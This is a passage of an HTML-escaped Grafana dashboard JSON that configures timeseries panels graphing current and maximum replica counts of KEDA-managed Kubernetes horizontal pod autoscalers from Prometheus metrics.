/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineInterpolation&quot;:&amp;nbsp;&quot;linear&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fill&quot;:&amp;nbsp;&quot;solid&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointSize&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;scaleDistribution&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;linear&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showPoints&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stacking&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;group&quot;:&amp;nbsp;&quot;A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdsStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;off&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;short&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;20&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;13,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exemplar&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_status_current_replicas{namespace=\&quot;$namespace\&quot;,horizontalpodautoscaler=\&quot;keda-hpa-$scaledObject\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;current_replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exemplar&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_max_replicas{namespace=\&quot;$namespace\&quot;,horizontalpodautoscaler=\&quot;keda-hpa-$scaledObject\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;max_replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;B&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Current/max&amp;nbsp;replicas&amp;nbsp;(time&amp;nbsp;based)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;timeseries&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;shows&amp;nbsp;current&amp;nbsp;replicas&amp;nbsp;against&amp;nbsp;max&amp;nbsp;ones&amp;nbsp;based&amp;nbsp;on&amp;nbsp;time&amp;nbsp;difference&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;continuous-GrYlRd&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;70,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;0&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;index&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;No&amp;nbsp;scaling&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;value&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;-200,&lt;br 